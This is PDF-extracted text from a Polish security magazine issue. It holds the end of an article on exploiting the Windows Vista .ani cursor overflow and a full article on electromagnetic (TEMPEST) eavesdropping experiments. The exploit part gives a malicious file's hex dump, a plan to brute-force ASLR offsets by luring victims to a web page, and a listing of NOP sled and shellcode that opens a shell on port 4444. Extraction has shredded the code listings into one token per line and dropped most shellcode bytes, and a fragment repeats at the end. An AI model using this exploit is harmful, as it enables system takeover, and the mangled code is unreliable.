– zawieszenie systemu

Zanim  zajmiemy  się  dopracowywa-
niem  exploita,  najpierw  musimy  po-
kazać  jego  działanie,  które  sprowa-
dzi  się  do  dość  prymitywnego  za-
wieszenia  systemu.  Jak  należy  to
zrobić?  Otóż  wystarczy  spreparo-
wać  odpowiednio  wielką  strukturę

– tak, aby naruszyć ochronę pamięci
w systemie. Definicję takiej struktury
przedstawia Listing 3.

Strukturę o pokazanej na listin-

gu postaci zapisujemy do pliku .ani,
który otwieramy, a następnie cieszy-
my się brakiem stabilności systemu.
Z czystej ciekawości można obej-
rzeć plik w edytorze heksadecymal-

nym – wygląda tak, jak jest to poka-
zane na Listingu 4.

Widać, że początkowa zawar-

tość  obejmuje  informacje  dotyczą-
ce typu pliku, dalej znajduje się tag,
którego  użyliśmy,  aby  możliwe  było
przepełnienie  bufora.  Potem  nastę-
puje ciąg 250 liter A (naturalnie, na
listingu  z  oczywistych  powodów  nie
ma  wszystkich  liter).  Całość  otwar-
ta w Eksploratorze Windows powin-
na zawiesić system.

Offset, problem z ASLR

Windows Vista jest systemem, któ-
ry  firma  Microsoft  reklamuje  ja-
ko niezwykle bezpieczny. W dużej
mierze nie są to puste słowa. Aby
znacząco  zwiększyć  bezpieczeń-
stwo  systemu  Windows,  wprowa-
dzono ASLR. ASLR (ang. Address
Space  Layout  Randomization,  co
można  tłumaczyć  na  losowy  roz-
kład  przestrzeni  adresowej)  jest
techniką, która – jak sama nazwa
wskazuje – polega na wprowadze-
niu  pewnego  elementu  losowo-
ści  do  adresów  w  pamięci  biblio-
tek  oraz  funkcji,  z  których  korzy-
sta  program.  Co  to  dla  nas  ozna-
cza?  Otóż  różne  systemy  Win-
dows Vista będą miały odpowied-
nie komponenty pod różnymi adre-
sami  w  pamięci.  Kontynuując,  nie
pozwoli nam to na ustalenie jedne-
go, stałego offsetu pomiędzy adre-
sem powrotu funkcji a adresem ta-
blicy, w której się aktualnie znajdu-
jemy. Jednak tak naprawdę nie jest
to szczególna przeszkoda – jak by
się mogło wydawać.

Pierwszym krokiem, jaki musi-

my przedsięwziąć, jest analiza pli-
ku pod debuggerem. Wybór odpo-
wiedniego narzędzia pozostawiam
Czytelnikowi,  jednak  godnymi  po-
lecenia są OllyDbg i WinDbg, któ-
re za darmo możemy pobrać z Sie-
ci.  Musimy  dokonać  analizy  pod
kątem  adresów  w  pamięci  zajmo-
wanych  przez  naszą  tablicę  i  ad-
res powrotu z funkcji. W systemie
Windows  XP  różnica  ta  wynosiła
84  bajty,  w  systemach  Vista  wiel-
kość  ta  może  być  inna.  Dlatego
atakujący  powinien  przygotować
kilka plików – tak, aby móc spraw-

Listing 4.

Szkodliwy w plik w edytorze heksadecymalnym

00000000

RIFF

....

ACONanih

00000010

$...$...........

00000020

................

00000030

........

anihX

...

00000040

AAAAAAAAAAAAAAAA

00000050

AAAAAAAAAAAAAAAA

00000060

AAAAAAAAAAAAAAA

00000070

AAAAAAAAAAAA

....

00000080

................

00000090

BBBBCCCC

Listing 5.

Gotowy exploit

char

nop

[]=

”\

x90

” //

oczywi

cie

tablicy

mamy

x90

tyle

razy

ile

wyni

offset

char

shellcode

[]=

af"

d0"

a4"

b6"

07"

c4"

a4"

7f"

ff"

2d"

7c"

ce"

47"

66"

78"

7f"

02"

d0"

7e"

ff"

70"

2f"

;

shellcode

uruchamia

pow

porcie

4444

struct

ANIChunk

{

char

tag

[

”

anih

”

;

DWORD

size

sizeof

(

nop

)

sizeof

(

shellcode

));

char

data

[

size

];

dane

}

ani

;

Hakowanie Visty

hakin9 Nr 3/2008

www.hakin9.org

dzić każdy po kolei, aż ten właści-
wy zadziała. Dzieje się tak, ponie-
waż ASLR nie zabrania nam doko-
nania  kolejnej  próby  sprawdzenia
adresów w pamięci, zatem można
w  zasadzie  w  nieskończoność  te-
stować  system,  aż  odnajdziemy
upragniony adres. Nie jest to trud-
ne  –  wystarczy  umieścić  obrazki
na  stronie  internetowej  i  czekać,
aż  ofiara  ją  odwiedzi.  Na  moim
komputerze offset wyniósł 92 baj-
ty.  Taką  też  wartość  założę  przy
generowaniu shellcode.

Gotowy exploit

Gotowy  exploit  winien  zawie-
rać  odpowiedni  shellcode  –  najle-
piej  taki,  żeby  uruchamiał  powło-
kę  na  zadanym  porcie,  offset  bę-
dący  w  zasadzie  ciągiem  NOPów
(czyli  asemblerowych  instrukcji
o kodzie 0x90, które nic nie robią).
Następnie  całość  (czyli  struktury

ANIHeader

ANIChunk

) winna być za-

pisana do pliku, może to być zro-
bione choćby za pomocą funkcji

fprintf()

języka C. Gotowe struk-

tury wraz z shellcodem prezentu-
je Listing 5.

Jak widać na Listingu 5, go-

towy  shellcode  i  ciąg  nopów  na-
leży  przekopiować  tylko  do  tabli-
cy ani.data, używając do tego ce-
lu  np.  funkcji

memcpy()

. Urucho-

mienie  exploita  otworzy  na  porcie
4444  powłokę,  do  której  możemy
się  połączyć  za  pomocą  progra-
mu telnet.

Podsumowanie

Microsoft  obiecywał,  że  system
Windows  Vista  będzie  najbez-
pieczniejszym  z  dotychczasowych
Windowsów.  Mimo  poczynionego
wysiłku, Vista jest podatna na pew-
ne  błędy,  które  umożliwiają  prze-
jęcie  kontroli  nad  systemem  bądź
wykonanie  ataku  DoS.  Pozosta-
je tylko mieć nadzieję, że firma na
serio potraktuje każdy odkryty błąd
i  szybko  zareaguje,  poprawiając
go.  Działanie  takie,  w  połącze-
niu ze świadomością użytkownika,
powinno  sprawić,  że  Vista  rzeczy-
wiście  będzie  tak  bezpieczna,  jak
twierdzą jej twórcy. l

www.hakin9.org

hakin9 Nr 3/2008

Atak

misja ujawniająca (ang. compromising
emanation), nazywana także ulotem
elektromagnetycznym, to zjawisko wy-

stępujące w każdym obwodzie, w którym pły-
nie prąd. O ile w wielu przypadkach elektro-
magnetyzm  jest  zjawiskiem  bardzo  przydat-
nym, to w przypadku emisji ujawniającej jest
dokładnie  odwrotnie.  Każdy  podzespół  kom-
putera,  przetwarzając  dane,  emituje  część
energii elektrycznej w postaci pola elektroma-
gnetycznego. To właśnie pole elektromagne-
tyczne i zawarte w nim informacje będą tema-
tem tego artykułu.

Fakty czy mity

W marcu roku 2004 w Internecie powstał projekt
nazwany Eckbox (http://eckbox.sourceforge.net),
który był rozwijany przez kilka miesięcy.

Jest to jedyny projekt open source teo-

retycznie  pozwalający  wykorzystywać  tech-
nikę  podsłuchu  elektromagnetycznego.  Z
premedytacją  używam  słowa  teoretycznie,
ponieważ  nie  udało  mi  się  znaleźć  potwier-
dzenia faktu działania tego urządzenia i pro-
gramu.  Projekt  powstał  na  bazie  badań  i  ar-
tykułu  napisanego  przez  Wima  van  Ecka,
holenderskiego  naukowca  z  Neher  Labora-

tories.  Skonstruowane  i  opisane  przez  nie-
go  urządzenie  było  odbiornikiem  fal  elektro-
magnetycznych,  podłączonym  do  komputera
za pomocą specjalnie przerobionego odbior-
nika  telewizyjnego  oraz  pozwalało  na  prze-
chwycenie  informacji  wyświetlanych  na  mo-
nitorze katodowym CRT. Było to rozwiązanie
czysto sprzętowe i bardzo rozbudowane. Pro-
jekt Eckbox jest o wiele prostszą wersją tego
rozwiązania – co wcale nie musi oznaczać, że
mniej funkcjonalną. Autorzy projektu napisali

Podsłuch

elektromagnetyczny

Grzegorz Błoński

stopień trudności

W mediach co rusz słyszymy, że ktoś kogoś podsłuchał. Cały ten

szum podsłuchiwania dotyczy raczej specjalizowanych urządzeń

podsłuchowych, mini-nadajników zwanych pluskwami – lecz to

nie jedyny rodzaj podsłuchu obecny w otaczającym nas świecie.

Nie należy zapominać, że podsłuchać można nie tylko człowieka,

ale także komputer i to, co w nim najcenniejsze dla właściciela.

Z artykułu dowiesz się

•   co to jest emisja ujawniająca,
•   co to jest ulot elektromagnetyczny,
•   czy można wykorzystać te zjawiska do podsłu-

chiwania.

Co powinieneś wiedzieć

•   znać podstawy zjawiska elektromagnetyzmu,
•   znać system Linux i umieć pracować w konsoli,
•   umieć posługiwać się lutownicą,
•   znać podstawy budowy układów elektronicznych.

Podsłuch elektromagnetyczny

hakin9 Nr 3/2008

www.hakin9.org

program, który – korzystając z por-
tu  równoległego  w  komputerze  PC
– potrafi przekształcić dane odebra-
ne przez radioodbiornik podłączony
do  komputera  za  pomocą  specjal-
nego  interfejsu  wykorzystującego
przetwornik analogowo-cyfrowy.

Problem ulotu elektromagne-

tycznego  dotyczy  każdego  urzą-
dzenia  komputerowego,  a  mimo  to
niewiele jest firm, które dbają o za-
pewnienie pod tym względem bez-
pieczeństwa  swoim  wrażliwym  da-
nym.  W  agencjach  i  instytucjach
rządowych sytuacja jest trochę lep-
sza, ponieważ są one zobligowane
do utrzymania określonych informa-
cji w ścisłej tajemnicy.

W USA powstał w latach sześć-

dziesiątych  projekt  nazwany  TEM-
PEST  (Transient  ElectroMagnetic
Pulse  Emanation  STandard),  któ-
ry  określa  dopuszczalne  poziomy
niepożądanych  emisji  fal  elektro-
magnetycznych.  Projekt  uwzględ-
nia  trzy  klasy  (poziomy)  bezpie-
czeństwa:

•   Level 1 – AMSG 720 B,
•   Level 2 – AMSG 788,
•   Level 3 – AMSG 784.

Urządzenia wykonane przy zachowa-
niu norm zawartych w projekcie TEM-
PEST  są  sprzedawane  na  terenie
państw  członkowskich  NATO.  Jed-
nak,  aby  móc  takie  urządzenie  na-
być lub nimi handlować, trzeba speł-
nić pewne warunki.

Po dokładniejsze informacje na

temat programu TEMPEST odsyłam
do Internetu, na przykład na stronę
www.iniejawna.pl.

Technikalia

Rozpatrując  możliwości  podsłu-
chania  komputera  przy  wykorzy-
staniu  kompromitujących  emana-
cji,  mamy  możliwość  zastosowa-
nia  technik  inwazyjnych  oraz  nie-
inwazyjnych.

Techniki inwazyjne mogą opierać

się na wstrzyknięciu w system-ofia-
rę  oprogramowania,  działającego
w  taki  sposób,  że  bez  wiedzy  użyt-
kownika  będzie  wykorzystywało
układy  elektroniczne  komputera  ja-

ko nadajnik i antenę do wypromie-
niowania informacji, jakie zamierza-
my przechwycić.

Przykładem wykorzystania ta-

kiej  techniki  jest  program  au-
torstwa  Erika  Thiele,  nazwa-
ny  dźwięcznie  Tempest  for  Eliza
(http://www.erikyyy.de/tempest).
Program  ten  pozwala  –  przy  wyko-
rzystaniu karty graficznej jako nadaj-
nika i monitora jako anteny – wysy-

łać muzykę w eter – można ją ode-
brać na standardowym radioodbior-
niku fal długich. Program działa w li-
nii poleceń systemu Linux.

Do wydania odpowiedniej ko-

mendy potrzebne są nam parame-
try naszego podsystemu graficzne-
go, takie jak:

• częstotliwość rysowania piksela

(Pixel Clock),

Listing 1.

Program tempest-cpu autorstwa Berke Duraka

#include

<stdlib.h>

#include

<stdio.h>

typedef

unsigned

char

;

#define BUF_SIZE (1<<18)

void

tempest_cpu_pattern

(

int

count

volatile

int

buf

int

)

{

int

;

int

;

while

(

count

--)

{

for

(

;

++)

{

0x55330fff

;

<<=

;

buf

[

]

;

(++

BUF_SIZE

)

;

}

for

(

;

++)

{

asm

(

"nop"

);

/* this instruction is available on nearly every CPU :

) */

}

int

main

(

int

argc

char

argv

)

{

int

count1

count2

;

int

;

int

;

int

;

int

;

(

argc

)

{

fprintf

(

stderr

"usage: %s a_low b_low a_high b_high count_low

count_high

);

exit

(

EXIT_FAILURE

);

}

atoi

(

argv

[

]);

atoi

(

argv

[

]);

atoi

(

argv

[

]);

atoi

(

argv

[

]);

count1

atoi

(

argv

[

]);

count2

atoi

(

argv

[

]);

malloc

(

BUF_SIZE

sizeof

(

int

));

for

(;;)

{

for

(

;

(

)

(

)

{

tempest_cpu_pattern

(

count1

);

}

return

;

}

hakin9 Nr 3/2008

www.hakin9.org

Atak

• rozdzielczość pozioma (HDi-

splay),

• rozdzielczość pionowa (VDi-

splay),

• całkowita rozdzielczość pozioma

(HTotal).

Po wydaniu przykładowego pole-
cenia:

#./tempest_for_eliza 108000000 1280
1024 1688 10000000 songs/starwars

program  użyje  wartości  108MHz
jako  częstotliwości  rysowania  pik-
sela,  rozdzielczości  okna  1280  x
1024  oraz  wartości  HTotal  równej
1688  pikseli.  Kolejne  parametry  to
10MHz  (jako  częstotliwość  nośna,
na której będzie emitowany dźwięk)
i  wreszcie  ścieżka  do  pliku  dźwię-
kowego.  Na  ekranie  monitora  po-
jawi  się  dynamicznie  zmieniający
się obraz czarno-białych linii pozio-
mych,  których  grubość  i  szybkość
zmian  uwarunkowana  jest  odtwa-
rzanym z pliku dźwiękiem.

Dźwięki emitowane przez moni-

tor są słyszalne także na częstotli-
wościach harmonicznych. Na stan-
dardowym  odbiorniku  radiowym
w zakresie fal krótkich w okolicach
częstotliwości  10MHz  nadawa-
ny  dźwięk  bardzo  dobrze  słychać.
Oprócz  tej  częstotliwości  odebra-
łem emitowane dźwięki za pomocą
transceivera krótkofalowego na czę-
stotliwościach 26,215 MHz, 26,455
MHz, 26,755 MHz, 27,755 MHz oraz
28,005 MHz – przy czym najsilniej-
szy sygnał pojawił się na pierwszej
z wymienionych częstotliwości. Od-
ległość  anteny  wynosiła  początko-
wo jeden metr – w tych warunkach

siła  sygnału  była  na  poziomie  3µV
do  6µV  (według  wskazań  transce-
ivera  Zodiac  Tokyo),  bez  względu
na polaryzację anteny. Przy zwięk-
szeniu odległości do 4 metrów siła
sygnału spadła do poziomu 0,39µV.
Dźwięki  nadal  były  słyszalne,  lecz
towarzyszyły  im  wyraźne  szumy,
których intensywność zmieniała się
w zależności od polaryzacji anteny.
Podczas pomiarów używałem ante-
ny MagLoop.

Przy okazji tych eksperymentów

odkryłem,  że  podłączone  do  kom-
putera urządzenia typu KVM (Key-
board  Video  Mouse)  w  trakcie  te-
stów emitują tak silnie wzmocnione
sygnały  z  karty  graficznej,  że  bez
problemu  mogłem  odebrać  czyste,
słyszalne  dźwięki  w  pomieszcze-
niu znajdującym się za dwoma ścia-
nami w odległości około 8 metrów. Si-
ła  sygnału  była  tak  duża,  że  wskaź-
nik transceivera Zodiac Tokyo wska-
zywał  50µV!  Sugeruje  to,  że  sygnał
mógł być swobodnie odebrany w bar-
dzo  dużej  odległości,  przypuszczal-
nie kilkudziesięciu, a może nawet kil-
kuset metrów.

W związku z tym faktem uwa-

żam,  że  używanie  przełączników
KVM w systemach komputerowych
zawierających dane tajne lub wraż-
liwe  jest  bardzo  ryzykowne.  Prze-
łącznik, którego używałem, to dzie-
ło  firmy  D-link  (model  DKVM-2K)

który,  jako  urządzenie  pozwalają-
ce  na  korzystanie  z  jednego  ze-
stawu  klawiatury,  myszy  i  monito-
ra dla dwóch komputerów, sprawu-
je się doskonale – zgodnie ze swym
przeznaczeniem.  Bardzo  możliwe,
że  jest  na  rynku  sporo  przełączni-
ków  pozbawionych  takiej  przypa-
dłości. Jednak tak czy inaczej, za-
nim  ktoś  zechce  użyć  jakiegokol-
wiek przełącznika, powinien się za-
stanowić  nad  niechcianym  dodat-
kiem  w  postaci  dużej  emisji  niepo-
żądanych sygnałów lub wykonać te-
sty sprawdzające.

Erik Thiele bazował przy pracy

nad  swoim  programem  na  innym
projekcie  (autorstwa  Pekki  Riiko-
nena), który potrafił tylko emitować
pojedyncze tony – ale także pozwo-
lił udowodnić, że podsłuch elektro-
magnetyczny jest możliwy. Powsta-
ło  już  więcej  programów  wykorzy-
stujących  zjawisko  niepożądane-
go  ulotu  elektromagnetycznego
w  komputerach.  Autorem  kilku  ta-
kich  narzędzi  jest  Berke  Durak
(http://abaababa.ouvaton.org/tem-
pest).  Jego  programy  wykorzystu-
ją do ukrytej transmisji danych dro-
gą  radiową  zarówno  wewnętrzne,
jak i zewnętrzne podzespoły kom-
putera.

Pierwszym programem Ber-

ke Duraka, o najmniej skompliko-
wanej budowie (Listing 1) jest tem-

Rysunek 2.

Ekran monitora podczas pracy programu Tempest for Eliza

Rysunek 1.

Rozkład pola

elektromagnetycznego wokół
odcinka przewodnika prądu

��

Podsłuch elektromagnetyczny

hakin9 Nr 3/2008

www.hakin9.org

pest-cpu.  Program działający w linii
poleceń systemu Linux przyjmuje kil-
ka parametrów określających rodzaj
przesyłanych  dźwięków,  wysokość
tonu i czas trwania. Obciąża proce-
sor w 100%, więc nie nadaje się do
przeprowadzenia ataku – jego dzia-
łalność w systemie zostałaby szybko
wykryta.  Jest  jednak  dobrym  przy-
kładem  potwierdzającym  fakt  ist-
nienia zjawiska ulotu elektromagne-
tycznego.  Procesor  emituje  niezbyt
silne  pole  elektromagnetyczne,  jed-
nak  jest  ono  możliwe  do  odebrania
w odległości do dwóch metrów przy
pomocy  zwykłego  radioodbiornika
na  fale  długie,  przy  czym  odbiera-
ny sygnał jest bardzo mocno zakłó-
cany przez szumy oraz interferencje
pochodzące  od  innych  pracujących
w komputerze podzespołów.

Kolejny program tempest-crt tego

samego  autora  wykorzystuje  –  po-
dobnie jak poprzednie programy Eri-
ka Thiele i Pekki Riikonena – moni-
tor jako nadajnik do wysyłania infor-
macji dźwiękowej. Inne dwa progra-
my Berke Duraka – tempest-pci oraz
tempest-mem  –  wykorzystują  ja-
ko nadajnik odpowiednio szynę PCI
(i urządzenia na niej pracujące) oraz
pamięć operacyjną. Ich przydatność
do  wykorzystania  w  ataku  jest  rów-
nież  niewielka,  ponieważ  pole  elek-
tromagnetyczne, które generują wo-
kół siebie urządzenia PCI, jest dużo
słabsze  niż  wytwarzane  przez  mo-
nitory  (w  szczególności  CRT,  choć
LCD  także  charakteryzują  się  dość
pokaźnym niepożądanym ulotem).

W tym momencie należy wspo-

mnieć,  że  urządzenia  pracujące  na
szynie SCSI – bardzo wydajnej szy-
nie danych, wykorzystywanej w roz-
wiązaniach  serwerowych  –  także
emitują  dość  silne  pola  elektroma-

gnetyczne. Są one dużo bardziej in-
tensywne niż w przypadku szyny PCI
i w przypadku braku odpowiedniego
ekranowania dają możliwość podsłu-
chania z dużej odległości.

Programy Duraka są niezaprze-

czalnym potwierdzeniem, że można
wykorzystać podzespoły kompute-
ra w celu wysyłania informacji po-

przez zastosowanie odpowiedniego
oprogramowania. Wprawny progra-
mista, wykorzystując kod źródłowy
programów  Duraka,  teoretycznie
może  napisać  aplikację,  która  po-
zwoli mu po zainfekowaniu kompu-
tera-ofiary na przechwytywanie in-
formacji, jakie go interesują. Po od-
powiedniej  modyfikacji  programu

Rysunek 3.

Transceiver Zodiac

Tokyo w czasie odbierania sygnału

Rysunek 4.

Program Tempest for Eliza po zakończeniu pracy

Rysunek 5.

Widok zmontowanego urządzenia

hakin9 Nr 3/2008

www.hakin9.org

Atak

można go dodać jako załącznik do
maila, który automatycznie się uru-
chomi,  jeśli  nieuważny  internauta
w  niego  kliknie.  Choć  dotychczas
nie  ujawniono  wirusa  czy  innego
złośliwego  kodu  wykorzystujące-
go taką technikę do przechwycenia
informacji,  uważam,  że  zagrożenie
związane z takimi atakami jest dość
duże. Całkiem możliwe, że już ktoś
napisał taki złośliwy kod i go wyko-
rzystuje, a my o tym po prostu nie
wiemy.

Techniki nieinwazyjne – jak su-

geruje  nazwa  –  nie  zmuszają  nas
do  wstrzykiwania  kodu  programu
do  komputera-ofiary.  Nieinwazyj-
ność  tych  metod  polega  na  wyko-
rzystaniu niepożądanej emisji elek-

tromagnetycznej generowanej stan-
dardowo  przez  urządzenia  kompu-
terowe. Prekursorem w tej dziedzi-
nie  –  a  jednocześnie  naukowcem,
który upublicznił informacje o moż-
liwości  podsłuchu  elektromagne-
tycznego  –  był  wcześniej  wspo-
mniany Wim van Eck.

Podsłuchiwać możemy przeróż-

ne  sygnały  emitowane  przez  wie-
le  podzespołów  komputerowych
–  od  urządzeń  komunikujących  się
z komputerem bezprzewodowo, ta-
kich  jak  myszy,  klawiatury,  drukar-
ki itp., aż po te, które są połączone
z komputerem kablem. W przypad-
ku słabej jakości filtrowania napięć
zasilających  w  zasilaczach  kom-
puterowych  część  informacji  mo-

że przedostawać się do sieci elek-
troenergetycznej i tam może zostać
przechwycona.

W roku 1990 Peter Smulders

opublikował wyniki badań nad prze-
chwytywaniem  informacji  z  ulotu
elektromagnetycznego  kabli  łączą-
cych  interfejsy  RS-232,  na  podsta-
wie  których  możemy  przypuszczać,
że praktycznie każdy rodzaj transmi-
sji danych, nawet realizowanej prze-
wodowo,  jest  narażony  na  podsłu-
chanie.

Budujemy urządzenie

W  związku  z  tym,  że  najsilniejsze
sygnały  emitowane  są  przez  mo-
nitory  CRT,  a  zaraz  po  nich  LCD,
postanowiłem  przeprowadzić  wła-
sne  badania,  budując  odpowiednie
urządzenie.  Zaczerpnąłem  podsta-
wowe informacje ze strony projektu
Eckbox i zacząłem od zebrania od-
powiednich elementów elektronicz-
nych, aby zbudować interfejs prze-
twarzający sygnał analogowy z od-
biornika  radiowego  czy  też  innego
transceivera,  którym  będę  próbo-
wać  odebrać  sygnały  emitowane
przez monitory testowe.

Rozpoczynając pracę nad bu-

dową  pierwszego  układu,  podcho-
dziłem do całej sprawy nieco scep-
tycznie  –  jednak  z  odrobiną  na-
dziei, że się uda. Do swojego eks-
perymentu  wykorzystałem  odbior-
nik  radiowy  w  zakresie  pasma  fal
długich, krótkich oraz UKF, a także
transceiver  Zodiac  Tokyo,  pracują-
cy w zakresie 25-29MHz. Nasłuchy
prowadziłem  w  modulacji  AM  oraz
FM. Jak wiemy, sygnały nadawane
przez różne nadajniki często są sły-
szalne na częstotliwościach harmo-
nicznych, które są wielokrotnościa-
mi  częstotliwości  nośnej.  Liczyłem
więc,  że  gdzieś  w  końcu  usłyszę
i zobaczę to, co chcę.

Na Rysunku 6. widać schemat

blokowy połączeń poszczególnych
elementów zestawu.

W swoim eksperymencie wyko-

rzystywałem  radioodbiornik  wypo-
sażony  w  standardową  antenę  fer-
rytową  oraz  zewnętrzną  telesko-
pową.  Oprócz  tego  w  przypadku
transceivera  Zodiac  Tokyo  korzy-

Rysunek 6.

Eksperymentalny zestaw do podsłuchu elektromagnetycznego

(Eckbox)

��

Rysunek 7.

Schemat ideowy urządzenia Eckbox

��

�

��

�

��

�

��

��
��

��
��
��
��
��
��
��
��

�

��

�

��

�

��

�

��

�

��

�

��

�

��

�

��

�

��

�

��

�

��

Podsłuch elektromagnetyczny

hakin9 Nr 3/2008

www.hakin9.org

stałem z anteny dookólnej pętlowej
LoopSkywire oraz anteny kierunko-
wej MagLoop własnej konstrukcji.
Szczegóły dotyczące budowy tych an-
ten nie zostaną tu zamieszczone – wy-
starczająco dużo informacji na ten te-
mat można znaleźć w Internecie.

Do zbudowania interfejsu urzą-

dzenia  dla  portu  LPT  (według  infor-
macji  ze  strony  http://eckbox.source-
forge.net),  potrzebujemy  układu  sca-
lonego do konwersji sygnału analogo-
wego  z  odbiornika  radiowego  na  sy-
gnał cyfrowy rozumiany przez kompu-
ter PC. Projekt Eckbox zakłada użycie
przetwornika analogowo-cyfrowego o
rozdzielczości 8 bitów na wyjściu cy-
frowym i jednym kanale wejściowym.
Układy  scalone,  które  można  wyko-
rzystać  do  tego  celu,  są  dostępne
w każdym lub prawie każdym sklepie
z podzespołami elektronicznymi.

Dodatkowo będziemy potrzebo-

wali  kilku  rezystorów,  kondensatorów
i diod. Przeszukując sklepy natrafiłem
na układ ADC0804, niedrogi, spełnia-
jący wymogi projektu i posiadający od-
powiednie  parametry  elektryczno-lo-
giczne. Na Rysunku 7. przedstawiam
schemat  układu,  który  zbudowałem,
korzystając  z  informacji  zawartych
w nocie aplikacyjnej układu ADC0804
i kilku innych rozwiązań wykorzystują-
cych ten przetwornik.

Po zmontowaniu elektronicznej

części układu przystąpiłem do połą-
czenia wszystkich elementów zesta-
wu podsłuchowego – tak, jak widać na
Rysunku 5.

Program eckbox po skompilowa-

niu  (wraz  z  odpowiednimi  bibliote-
kami – svgalib oraz modułem svga-
lib_helper)  uruchamia  się,  począt-
kowo  wyświetlając  tylko  czarny
ekran. Po chwili, gdy zaczyna dzia-
łać przetwornik A/C, na ekranie po-
jawiają  się  przesuwające  się  po-
ziome  linie  –  co  przedstawia  Ry-
sunek 8.

Urządzenie nie wyświetla tego,

na  co  oczekiwałem,  ponieważ  za-
stosowany  układ  ADC0804  prze-
nosi  sygnały  o  częstotliwościach
do  10  kHz.  Przeoczyłem  ten  waż-
ny  parametr  podczas  wyszukiwa-
nia  odpowiedniego  układu.  Ponie-
waż  w  technice  nieinwazyjnej  za-
kładamy,  że  nie  mamy  możliwości
wymuszenia  częstotliwości,  na  ja-
kiej  monitor  emituje  sygnał,  musi-
my  próbować  odebrać  go  na  czę-
stotliwościach, na których jest emi-
towany przez podzespoły kompute-
ra lub na częstotliwościach harmo-
nicznych  (założyłem  zakres  od  10
do 30 MHz).

Zbudowałem więc kolejny eg-

zemplarz oparty o układ ADC, mo-

gący  pracować  z  częstotliwościa-
mi  sygnału  wejściowego  rzędu  18
Mhz,  który  teoretycznie  powinien
się sprawdzić lepiej – czyli HI1175
firmy Intersil. Niestety, okazało się,
że to także nie pozwala na odebra-
nie sygnału. Zgodnie z informacja-
mi ze strony projektu Eckbox, układ
powinien  działać  na  częstotliwości
pasma radiowego FM 108MHz.

Taka częstotliwość sugeruje, że

program został napisany tak, by od-
bierać sygnał emitowany przez Pi-
xelClock  w  kartach  graficznych.
Dość  trudne  jest  zdobycie  ukła-
du  ADC  pracującego  z  sygnałami
wejściowymi  o  takich  częstotliwo-
ściach.

Licząc, że uda mi się podsłu-

chać coś na częstotliwościach har-
monicznych,  postanowiłem  naj-
pierw  zbudować  kolejne  ukła-
dy,  umożliwiające  pracę  na  wyż-
szych  częstotliwościach.  Kolejne
urządzenie,  zbudowane  w  oparciu
o  układ  HI2302  (także  firmy  Inter-
sil), podczas pierwszych testów nie
chciało działać – czego przyczyną
okazało  się  zaniżone  napięcie  za-
silające. Ponieważ urządzenie jest
zasilane z szyny USB, szybko zna-
lazłem przyczynę tej sytuacji. Oka-
zał  się  nią  zewnętrzny  dysk  twar-
dy podłączony do komputera, który

hakin9 Nr 3/2008

www.hakin9.org

Atak

pobierając  prąd  rzędu  500mA  (czyli
maksymalny  możliwy  według  specy-
fikacji USB) powodował spadki napię-
cia. Po odłączeniu dysku napięcie na
szynie  USB  wróciło  do  poziomu  5V,
a urządzenie zaczęło pracować.

Niestety, nie powiodło mi się rów-

nież tym razem. Układ teoretycz-
nie pozwala na odbieranie sygnałów
o częstotliwości 100MHz. Program
Eckbox, pomimo tego, że wyświetlał
zmieniające się w czasie obrazy skła-
dające się z linii poziomych.

Brak pozytywnego wyniku działa-

nia urządzenia i programu Eckbox wca-

le nie spowodował w moim przypadku
zmiany zdania na temat problemu ulotu
elektromagnetycznego i zagrożeń bez-
pieczeństwa z nim związanych.

Powodem niepowodzenia mogą

być zarówno błędy w projektowaniu

urządzenia,  jak  i  sam  program,  któ-
ry  ostatnich  poprawek  doczekał  się
w  roku  jego  powstania  (2004).  Od
tamtego czasu na stronie projektu nic
się nie dzieje. Być może ktoś już pró-
bował zbudować to urządzenie wcze-
śniej, jednak nie natknąłem się na śla-
dy informacji o działającym egzempla-
rzu. Jeżeli jest ktoś, kto wykonał taki
aparat, chętnie skorzystam z jego wie-
dzy – o ile zechce się nią podzielić.

Podsumowanie

Po analizie pokaźnych zasobów infor-
macji  na  temat  ulotu  elektromagne-
tycznego,  znajdujących  się  między
innymi w Internecie, oraz po przepro-
wadzonych  testach  programów  Erika
Thiele i Berke Duraka uważam, że pro-
blem emisji ujawniającej jest kwestią,
której nie można pomijać przy tworze-
niu polityk bezpieczeństwa w firmach
i  instytucjach  przetwarzających  waż-
ne, często tajne dane. Choć w tym ar-
tykule opisałem możliwość odbierania
sygnałów  nadawanych  z  premedyta-
cją – i to na niewielkie odległości, nie
można  lekceważyć  istoty  problemu,
która może w wielu przypadkach sta-
nowić o wycieku bardzo cennych da-
nych.  Nieudana  próba  podsłuchania
emisji ujawniającej przy pomocy pro-
stych  w  budowie  urządzeń  nie  prze-
czy  temu,  że  sam  fakt  takiego  pod-
słuchu  jest  możliwy.  Przy  odpowied-
nio dużym nakładzie pracy oraz zasto-
sowaniu profesjonalnego sprzętu z du-
żym  prawdopodobieństwem  pozwo-
li nam to na skonstruowanie urządze-
nia, które będzie działało tak samo do-
brze, jak urządzenie Wima van Ecka
(lub nawet lepiej). Mam nadzieję, że po
przeczytaniu tego artykułu wielu admi-
nistratorów podejdzie do zagadnienia
podsłuchu elektromagnetycznego tak
samo poważnie, jak do innych proble-
mów związanych z bezpieczeństwem
systemów informatycznych. l

Rysunek 9.

Obraz odbierany przez kolejny układ (HI2302)

O autorze

Autor, Grzegorz Błoński, z wykształcenia jest informatykiem. Pracuje w dużej firmie pro-
dukcyjnej o zasięgu światowym. Zajmuje się administracją i bezpieczeństwem sieciowym.
Należy do międzynarodowych organizacji ISOC oraz ISACA, zajmujących się szeroko po-
jętym bezpieczeństwem IT.
Kontakt: mancymonek@mancymonek.pl

Rysunek 8.

Wynik pracy urządzenia i programu Eckbox

www.hakin9.org

hakin9 Nr 3/2008

Atak

misja ujawniająca (ang. compromising
emanation), nazywana także ulotem
elektromagnetycznym, to zjawisko wy-

Fakty czy mity

W marcu roku 2004 w Internecie powstał projekt
nazwany Eckbox (http://eckbox.sourceforge.net),
który był rozwijany przez kilka miesięcy.

Jest to jedyny projekt open source teo-

Podsłuch

elektromagnetyczny

Grzegorz Błoński

stopień trudności

W mediach co rusz słyszymy, że ktoś kogoś podsłuchał. Cały ten

szum podsłuchiwania dotyczy raczej specjalizowanych urządzeń

podsłuchowych, mini-nadajników zwanych pluskwami – lecz to

nie jedyny rodzaj podsłuchu obecny w otaczającym nas świecie.

Nie należy zapominać, że podsłuchać można nie tylko człowieka,

ale także komputer i to, co w nim najcenniejsze dla właściciela.

Z artykułu dowiesz się

•   co to jest emisja ujawniająca,
•   co to jest ulot elektromagnetyczny,
•   czy można wykorzystać te zjawiska do podsłu-

chiwania.

Co powinieneś wiedzieć
